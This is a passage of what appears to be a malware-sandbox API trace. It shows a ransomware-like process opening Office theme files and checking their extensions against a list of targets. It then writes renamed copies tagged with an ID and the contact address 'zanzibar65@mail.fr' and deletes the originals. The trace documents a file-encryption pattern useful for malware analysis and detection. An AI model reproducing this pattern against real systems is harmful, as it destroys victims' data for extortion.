Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString=".1cd") returned 4 [0272.575] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString=".jpg") returned 4 [0272.575] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString=".doc") returned 4 [0272.575] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".docx") returned 5 [0272.575] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.575] lstrlenW (lpString=".pdf") returned 4 [0272.576] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString=".xls") returned 4 [0272.576] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString=".xlsx") returned 5 [0272.576] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.576] lstrlenW (lpString=".ppt") returned 4 [0272.576] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.576] lstrlenW (lpString=".zip") returned 4 [0272.576] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString=".rar") returned 4 [0272.576] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString=".bz2") returned 4 [0272.576] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString=".7z") returned 3 [0272.576] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.576] lstrlenW (lpString=".dbf") returned 4 [0272.576] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.576] lstrlenW (lpString=".1cd") returned 4 [0272.576] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.576] lstrlenW (lpString=".jpg") returned 4 [0272.576] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.576] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.576] lstrlenW (lpString="Black Tie.eftx") returned 14 [0272.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0272.583] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=618119) returned 1 [0272.583] CloseHandle (hObject=0x354) returned 1 [0272.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0272.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.668] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.668] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0272.669] GetLastError () returned 0x0 [0272.669] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x96e87, lpOverlapped=0x0) returned 1 [0272.730] WriteFile (in: hFile=0x38c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0272.741] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.741] WriteFile (in: hFile=0x38c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.741] SetEndOfFile (hFile=0x38c) returned 1 [0272.741] CloseHandle (hObject=0x38c) returned 1 [0272.741] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.741] SetEndOfFile (hFile=0x2f8) returned 1 [0273.425] CloseHandle (hObject=0x2f8) returned 1 [0273.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0273.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.479] lstrlenW (lpString=".doc") returned 4 [0273.479] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.479] lstrlenW (lpString=".docx") returned 5 [0273.479] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.479] lstrlenW (lpString=".pdf") returned 4 [0273.479] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.479] lstrlenW (lpString=".xls") returned 4 [0273.479] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.479] lstrlenW (lpString=".xlsx") returned 5 [0273.479] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.479] lstrlenW (lpString=".ppt") returned 4 [0273.479] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.479] lstrlenW (lpString=".zip") returned 4 [0273.480] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".rar") returned 4 [0273.480] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".bz2") returned 4 [0273.480] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".7z") returned 3 [0273.480] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString=".dbf") returned 4 [0273.480] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString=".1cd") returned 4 [0273.480] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString=".jpg") returned 4 [0273.480] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString=".doc") returned 4 [0273.480] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".docx") returned 5 [0273.480] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.480] lstrlenW (lpString=".pdf") returned 4 [0273.480] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".xls") returned 4 [0273.480] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString=".xlsx") returned 5 [0273.480] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.480] lstrlenW (lpString=".ppt") returned 4 [0273.480] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.480] lstrlenW (lpString=".zip") returned 4 [0273.480] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.481] lstrlenW (lpString=".rar") returned 4 [0273.481] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.481] lstrlenW (lpString=".bz2") returned 4 [0273.481] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.481] lstrlenW (lpString=".7z") returned 3 [0273.481] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.481] lstrlenW (lpString=".dbf") returned 4 [0273.481] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.481] lstrlenW (lpString=".1cd") returned 4 [0273.481] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.481] lstrlenW (lpString=".jpg") returned 4 [0273.481] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.481] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.481] lstrlenW (lpString="Median.eftx") returned 11 [0273.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.483] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=39546) returned 1 [0273.484] CloseHandle (hObject=0x38c) returned 1 [0273.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0273.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.484] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.484] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.485] GetLastError () returned 0x0 [0273.485] ReadFile (in: hFile=0x38c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0273.487] WriteFile (in: hFile=0x384, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0273.488] ReadFile (in: hFile=0x38c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0273.488] WriteFile (in: hFile=0x384, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0273.488] SetEndOfFile (hFile=0x384) returned 1 [0273.488] CloseHandle (hObject=0x384) returned 1 [0273.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.488] SetEndOfFile (hFile=0x38c) returned 1 [0273.491] CloseHandle (hObject=0x38c) returned 1 [0273.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0273.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.492] lstrlenW (lpString=".doc") returned 4 [0273.492] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.492] lstrlenW (lpString=".docx") returned 5 [0273.492] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.495] lstrlenW (lpString=".pdf") returned 4 [0273.495] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.495] lstrlenW (lpString=".xls") returned 4 [0273.495] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.495] lstrlenW (lpString=".xlsx") returned 5 [0273.495] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.495] lstrlenW (lpString=".ppt") returned 4 [0273.495] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.495] lstrlenW (lpString=".zip") returned 4 [0273.495] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.495] lstrlenW (lpString=".rar") returned 4 [0273.496] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString=".bz2") returned 4 [0273.496] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString=".7z") returned 3 [0273.496] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.496] lstrlenW (lpString=".dbf") returned 4 [0273.496] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.496] lstrlenW (lpString=".1cd") returned 4 [0273.496] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.496] lstrlenW (lpString=".jpg") returned 4 [0273.496] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.496] lstrlenW (lpString=".doc") returned 4 [0273.496] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString=".docx") returned 5 [0273.496] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.496] lstrlenW (lpString=".pdf") returned 4 [0273.496] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString=".xls") returned 4 [0273.496] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.496] lstrlenW (lpString=".xlsx") returned 5 [0273.496] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.496] lstrlenW (lpString=".ppt") returned 4 [0273.496] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.497] lstrlenW (lpString=".zip") returned 4 [0273.497] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString=".rar") returned 4 [0273.497] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString=".bz2") returned 4 [0273.497] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString=".7z") returned 3 [0273.497] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.497] lstrlenW (lpString=".dbf") returned 4 [0273.497] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.497] lstrlenW (lpString=".1cd") returned 4 [0273.497] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0273.497] lstrlenW (lpString=".jpg") returned 4 [0273.497] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.497] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.497] lstrlenW (lpString="Metro.eftx") returned 10 [0273.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.498] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=24117) returned 1 [0273.498] CloseHandle (hObject=0x38c) returned 1 [0273.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0273.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.498] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.499] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.499] GetLastError () returned 0x0 [0273.499] ReadFile (in: hFile=0x38c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x5e35, lpOverlapped=0x0) returned 1 [0273.500] WriteFile (in: hFile=0x394, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0273.502] ReadFile (in: hFile=0x38c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0273.502] WriteFile (in: hFile=0x394, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0273.502] SetEndOfFile (hFile=0x394) returned 1 [0273.502] CloseHandle (hObject=0x394) returned 1 [0273.502] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.502] SetEndOfFile (hFile=0x38c) returned 1 [0273.504] CloseHandle (hObject=0x38c) returned 1 [0273.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.505] lstrlenW (lpString=".doc") returned 4 [0273.505] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".docx") returned 5 [0273.505] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.505] lstrlenW (lpString=".pdf") returned 4 [0273.505] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".xls") returned 4 [0273.505] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".xlsx") returned 5 [0273.505] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.505] lstrlenW (lpString=".ppt") returned 4 [0273.505] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.505] lstrlenW (lpString=".zip") returned 4 [0273.505] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".rar") returned 4 [0273.505] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".bz2") returned 4 [0273.505] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.505] lstrlenW (lpString=".7z") returned 3 [0273.505] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.505] lstrlenW (lpString=".dbf") returned 4 [0273.505] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.506] lstrlenW (lpString=".1cd") returned 4 [0273.506] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.506] lstrlenW (lpString=".jpg") returned 4 [0273.506] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.506] lstrlenW (lpString=".doc") returned 4 [0273.506] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".docx") returned 5 [0273.506] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.506] lstrlenW (lpString=".pdf") returned 4 